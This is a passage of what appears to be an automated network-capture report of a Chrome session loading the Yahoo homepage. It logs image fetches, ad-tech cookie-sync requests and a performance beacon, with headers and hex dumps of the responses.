2024-01-10 23:27:16 UTC	819	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:16 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58824/sync?_origin=0&dpid=58267&ovsid=968062845637553879&redir=true Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:16 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50020	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	735	OUT	GET /iu/api/res/1.2/3E6F0ARiT3ZQ7FArihI9Bw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/nba/20181226/500x500/timberwolves_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1222	IN	HTTP/1.1 200 OK Content-Length: 3678 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 473171660170428388270482033204561033190,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 473171660170428388270482033204561033190,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "5dcc9d5ec18d5efdf0290d538a346a95" Expiration: expiry-date="Tue, 11 Jun 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Dec 2023 10:27:57 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=3678,owidth=500,oheight=500,obytes=17031,ef=(1,13,17,21,22,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Mon, 08 Jan 2024 02:00:25 GMT X-Served-By: cache-iad-kiad7000109-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704679226.996356,VS0,VE3 Age: 250014 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kiad7000109-IAD cld_latency: 3 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:16 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0c 0d 0a 1b 38 7c ac 42 94 00 00 0d fd 49 44 41 54 68 de cd 5a 69 54 55 d7 15 f6 4f f3 2b 0c 02 32 28 82 a0 38 82 80 80 88 88 32 4f 0f 1e a3 0c 8f c9 01 05 1c 01 51 51 41 40 44 05 15 10 31 8c 1a 31 36 69 b2 92 d8 a4 4d a3 8d 53 4c 8c 89 89 da 98 98 39 4d db 64 ad f6 4f 9a a6 6b b5 5d 5d 4d ba bb bf fd de bd 79 23 a8 c1 58 d7 3a f2 de 7d f7 9e b3 bf b3 f7 fe f6 70 ee 84 09 e3 f4 ef c4 a9 53 3e 3c 56 f0 38 c6 e3 e2 f1 91 91 cf 7b 07 86 fe de 75 ac ff 3b 0c 7c c6 35 fe ed 92 e1 9e 95 3c 7c 27 fc 3f fc 63 41 bc 79 34 b1 80 77 9a f6 1f a6 c2 b5 75 b4 58 53 46 3e 61 5a 72 Data Ascii: PNGIHDR22?pHYs&?tIME8\|BIDAThZiTUO+2(82OQQA@D116iMSL9MdOk]]My#X:}pS><V8{u;\|5<\|'?cAy4wuXSF>aZr
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: f2 26 de 69 c7 c0 4c 72 9c 9f 41 4e c1 99 34 31 38 9b 3f 6b c9 3f 7b 21 85 96 84 92 c3 dc 54 72 8b a9 94 eb 8a ef 38 06 68 c9 29 34 4f 7c c8 7b e9 12 0a 2b 0d 25 d7 d0 04 f2 d4 d6 0b 18 9f e2 83 3c 67 06 85 24 e8 58 33 87 c4 cc 0a 2a 1b 78 43 8f aa f4 af d0 b2 21 03 08 b2 06 e4 69 24 7c c6 37 d7 34 75 53 f7 e0 53 f2 bd bc 7a 17 a5 30 23 61 d7 b0 eb 5e 39 4d 34 99 7d 01 82 f9 c4 2c a6 35 a7 66 52 f5 8b be 54 77 d6 87 5c 02 97 92 47 52 b5 89 06 20 a4 77 fe 5e 9a 9c 52 6b 22 94 07 d3 2f fc 4c d1 0c ee c3 1a 60 b6 35 35 0d 26 f2 14 56 35 4a c0 85 a6 16 a5 94 42 2b cf 9a 83 98 7a a0 eb e8 7f 70 73 6e 79 3d 2d d2 ac b2 60 a7 9a 5d 7b c5 8e ad 99 13 c0 64 ee f5 a7 c2 23 73 28 a7 63 1e 65 b6 f9 93 73 60 9c 38 b9 09 18 66 2e 07 7f 0d 15 31 23 76 f6 f6 89 e3 36 ec Data Ascii: &iLrAN418?k?{!Tr8h)4O\|{+%<g$X3*xC!i$\|74uSSz0#a^9M4},5fRTw\GR w^Rk"/L`55&V5JB+zpsny=-`]{d#s(ces`8f.1#v6
2024-01-10 23:27:16 UTC	1078	IN	Data Raw: 69 3e dd 7a ef 63 fa ec 8b af 48 b7 6e b7 dc 04 ca 9b b1 28 d3 24 93 45 34 97 52 75 46 8c 99 39 c5 d2 fe ce a3 77 0d 02 a3 b8 52 5f a3 23 f0 c1 84 9c 42 f2 24 87 33 61 2d 5e 1b be 83 50 80 7b 3b 07 9e 92 b4 3e 2a 63 ad 34 07 11 3a 10 42 00 a4 57 49 df 3d 38 77 41 73 2d 2e 57 1f 7c 10 84 92 f2 f5 49 a0 3a 31 a7 e1 d6 76 26 61 b9 14 3b a8 de 68 d5 a6 9d 63 82 e8 e3 d4 c4 d5 5f 5f bb bb c5 54 a8 66 8b bc 0d a9 bc b2 1e d6 46 50 46 27 c5 3d 20 85 2e bc f6 36 2d 5f b3 53 9c 1d 0d 42 04 73 04 75 00 59 81 30 8f 09 d1 30 fb c7 3f ff 25 37 23 81 84 a6 ea 1a f7 49 80 43 9c 40 cd 60 67 64 86 c6 63 67 6b 87 d4 dd 6e 01 49 4a b4 1d 9d b1 36 ef 52 9f 55 6a 11 0c 04 5f f8 9e 12 9b b0 36 d2 24 50 39 1a 11 4a 1d 6f d6 90 28 95 e3 00 b0 06 2e 42 5d 48 01 8c 6f 44 cb 06 35 Data Ascii: i>zcHn($E4RuF9wR_#B$3a-^P{;>*c4:BWI=8wAs-.W\|I:1v&a;hc__TfFPF'= .6-_SBsuY00?%7#IC@`gdcgknIJ6RUj_6$P9Jo(.B]HoD5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50017	172.64.151.101	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1030	OUT	GET /usermatch?cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fgpp%3D%26gpp_sid%3D%26cs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&s=183875&C=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:16 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Ray: 8438b09279842d12-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:16 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:16 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uSf3X7CeAtPmal8%2BG10lAd2L4VuGxn7%2BHuQC4m%2FpxaMHs%2FdKDgqen9110auEaZ1JXHIp9XP2xenPM9pj47a%2BMtuivL88ejf5HgF0Kg8KNlbB8rp%2B8lGhHz7uhOTE6UGznNDvG10RqqAFwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:16 UTC	372	IN	Data Raw: 37 34 64 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 69 6e 64 65 78 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 5a 5a 38 6e 31 49 50 70 59 4d 4c 77 51 4c 5f 46 31 43 4c 61 77 67 41 41 41 50 30 41 41 41 49 42 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 70 70 3d 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 Data Ascii: 74d<html><head><title></title></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=index&google_cm&google_hm=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none"
2024-01-10 23:27:16 UTC	1369	IN	Data Raw: 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 25 32 46 70 69 78 65 6c 25 33 46 67 6f 6f 67 6c 65 5f 6e 69 64 25 33 44 63 61 73 61 6c 65 5f 6d 65 64 69 61 32 5f 64 62 6d 25 32 36 67 6f 6f 67 6c 65 5f 63 6d 25 32 36 67 6f 6f 67 6c 65 5f 73 63 25 32 36 67 6f 6f 67 6c 65 5f 68 6d 25 33 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 66 2f 63 61 73 61 6c 65 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 Data Ascii: cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://match.adsrvr.org/track/cmf/casale" style="display:none"
2024-01-10 23:27:16 UTC	135	IN	Data Raw: 26 61 6d 70 3b 61 78 69 64 5f 65 3d 26 61 6d 70 3b 6f 76 73 69 64 3d 5a 5a 38 6e 31 49 50 70 59 4d 4c 77 51 4c 5f 46 31 43 4c 61 77 67 41 41 41 50 30 41 41 41 49 42 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: &axid_e=&ovsid=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB" style="display:none" width="0" height="0" alt="" border="0" /></body></html>
2024-01-10 23:27:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50021	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	2139	OUT	POST /p?s=2023538075&t=5TK1lcEXqpp162Pu,0.6492473064985345&_I=&_AO=0&_NOL=0&_R=&_P=3.53.38%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.38%04A_cn%03VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%031%04A_sid%036L7ZFHZdY5rW7mNl%04_w%03www.yahoo.com%2F%04_rid%030gast8pipu9uc%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQIEAMLB3AMEAVnThQQEAMAaoQUEAXjoqQcEACPSTQgEAWVv0QoCVVM%04A_utm%03%7B%22perf_fcp%22%3A1378%2C%22perf_fcp_rating%22%3A%22good%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031704929234%04_ms%03812%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:16 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:16 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50023	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	726	OUT	GET /iu/api/res/1.2/LaVK5.znBhNMAKDUJz1a2g--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/20181030/500x500/celtics_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	1293	IN	HTTP/1.1 200 OK Content-Length: 4621 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 201425538486651660160846378276913358965,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 201425538486651660160846378276913358965,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "702d3d01fff4afe239bf8f1e5507a3ad" Expiration: expiry-date="Wed, 22 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 23 Nov 2023 07:16:12 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=4621,owidth=500,oheight=500,obytes=27888 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 03 Jan 2024 06:15:17 GMT X-Served-By: cache-lga21980-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704262517.158862,VS0,VE1 Age: 666719 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21980-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:16 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 17 07 10 0b a5 d4 02 f1 00 00 11 ac 49 44 41 54 68 de c5 5a 07 54 55 c7 d6 16 d0 a8 31 a6 bc 3f d5 94 97 d8 62 03 29 52 14 29 82 f4 ae 14 95 96 80 80 34 69 22 20 4a ef 1d 94 0e 02 82 20 55 c1 12 0b c4 82 a2 d1 20 f6 58 62 37 51 b1 c4 18 0b 1a c3 f7 ef 99 0b 57 af 20 96 24 be 59 6b af 73 39 e7 cc 9c fd cd ee 7b e8 d7 ef 05 06 80 77 88 3c 88 ea 3a 3b 3b f7 d1 b5 91 28 92 68 74 1f 73 18 29 12 85 10 c5 13 cd 20 ea df ef 7f 35 e8 e3 86 7f 3e 7a d4 be 61 75 3d 72 bc bd e1 3e d3 02 4b 9d e6 a2 22 3b 07 d7 6f de 7c 44 cf a3 89 c4 bb de 1d 41 64 4b 94 4c b4 f7 c4 a9 d3 88 Data Ascii: PNGIHDR22?pHYs&?tIMEIDAThZTU1?b)R)4i" J U Xb7QW $Yks9{w<:;;(hts) 5>zau=r>K";o\|DAdKL
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 36 26 cc c3 de 4c 2f 3c 68 88 40 7a 4a 02 7a 1b 9b 76 ec c0 9b f3 05 de cf a8 22 04 57 ef fc 86 2d a7 5b d1 7c fe 30 64 fd 6c 50 b7 ee 3b f6 5a d0 8b 82 78 87 fc f8 cd 31 33 f4 b9 ae 3a 36 a4 90 f1 b5 23 64 6b 09 06 c7 18 43 c2 47 13 0d 4d 8d 68 5e 95 89 1d d9 81 d8 b7 ff 00 4e 9d 39 cb 7c bf 50 55 d6 c4 b9 63 cf d2 f9 5c 1a 8c 4e 93 34 18 00 46 3f 12 98 b6 43 47 f0 ac 51 df d8 08 09 6f 4d 24 ee aa e6 76 d2 78 66 3f cc ab 22 11 d4 b8 1c a3 4c 74 f0 e0 c1 c3 db f4 da fb 2f 02 24 a8 64 55 35 de 9d af 8b c2 fd 1b 51 76 b0 09 df 9f 69 c3 1f 1d f7 30 26 cd 01 e1 79 99 fc 83 7b 76 b7 e0 50 9e 1f be cf 0e c6 81 83 a2 6a 52 50 54 88 d2 65 71 d8 9e ea 8e 8e 2e 00 ed 95 8b b9 9d 58 9b a9 a2 32 c9 12 5b 9a b6 e0 d1 5f 7f e1 fa 8d 9b 3d c0 84 e6 2c c5 c0 30 03 ec b9 Data Ascii: 6&L/<h@zJzv"W-[\|0dlP;Zx13:6#dkCGMh^N9\|PUc\N4F?CGQoM$vxf?"Lt/$dU5Qvi0&y{vPjRPTeq.X2[_=,0
2024-01-10 23:27:16 UTC	1300	IN	Data Raw: 78 9d 11 6b 80 c5 04 e6 bd 68 3d 8c a2 58 12 1f ef 8b 13 3f 9f c6 59 0a ac dd 63 db ce 96 5e d7 76 4b 8f e6 6b f8 6f ce 43 fc ce 4a c4 ee 5c 85 31 14 68 57 54 d6 b0 c7 f6 bd 01 31 6b d8 b8 19 e2 4e 2a 10 8b 14 00 18 48 f5 00 bb ce 8c f1 7f 26 88 73 b4 b3 89 e1 33 d0 40 fa 6f db 65 d0 39 21 fa 70 8d 36 14 d9 8c 14 02 52 4f cf 82 e9 9a 99 b4 90 cf ad ac ab 17 ae d3 55 40 f5 18 66 d1 7e 8f d5 aa fb 4a 3c d6 7f b7 99 3d 9e d1 1b 90 49 3c aa cf 9e 0c 3b 0a 82 76 ab 13 b9 87 d0 2a 0d c2 78 df 59 cf 04 32 2f 2b 86 2f 6e 9a 64 8c 30 b2 03 66 e4 e9 81 ba 88 27 86 59 24 57 25 7b 59 44 f7 ad 92 8d 31 9a 24 33 86 ee 39 fa 98 e0 7e 47 07 97 0a 4b 20 d9 66 54 d7 af c5 1e b2 95 a7 c7 58 6f 4b 4c cc 71 c5 f1 6b 17 b9 eb 0d dd ba 02 e2 b3 26 93 87 3c cc 1e 4f ea 0d c8 d0 Data Ascii: xkh=X?Yc^vKkoCJ\1hWT1kNH&s3@oe9!p6ROU@f~J<=I<;vxY2/+/nd0f'Y$W%{YD1$39~GK fTXoKLqk&<O
2024-01-10 23:27:16 UTC	721	IN	Data Raw: 31 86 b9 1a 0a 1a 7f b4 eb c1 f2 d2 f0 50 96 15 01 32 d8 50 11 5b 05 09 65 ec df 69 64 b3 f6 50 4d 2d d5 de 03 4d 95 78 8a 20 b2 5b 3e d3 e0 e8 eb cf d5 66 b6 93 3b 37 f8 ee c1 6a 9b 2f a5 95 44 a4 31 e4 f3 51 58 ba a2 04 96 d1 0b f1 96 b3 a6 f0 28 a2 9b b4 34 e5 78 93 fc 0b 5b 65 41 d2 6a ac 88 1a 41 dd 5f f3 b7 8e 16 ba c0 0c 64 a7 57 2c 33 1e 6a 30 99 ef 9e c8 c1 cc 42 52 a5 4f 87 63 1a a9 c6 44 79 29 d8 04 78 71 db f1 5d 1c 2e 22 09 76 65 81 b6 fb 64 ab 37 52 d7 95 e7 47 16 ef 7c 3b 15 43 f5 27 a3 41 90 e1 ae 7f a9 7e ef 73 c0 0c e8 44 67 49 2b 65 9c 2c 20 89 2d d0 14 61 a0 bf d4 58 a4 85 cf 45 4e 4a 00 86 39 a8 f0 14 67 6e 40 00 de 1f 25 88 e8 03 c6 7e 0d 71 47 95 3e 0f 77 18 59 a8 c9 c2 75 fc 04 8c d2 d3 ea ce 22 4a d8 b7 ff e9 c3 51 46 1e b7 7e bf Data Ascii: 1P2P[eidPM-Mx [>f;7j/D1QX(4x[eAjA_dW,3j0BROcDy)xq]."ved7RG\|;C'A~sDgI+e, -aXENJ9gn@%~qG>wYu"JQF~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50030	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
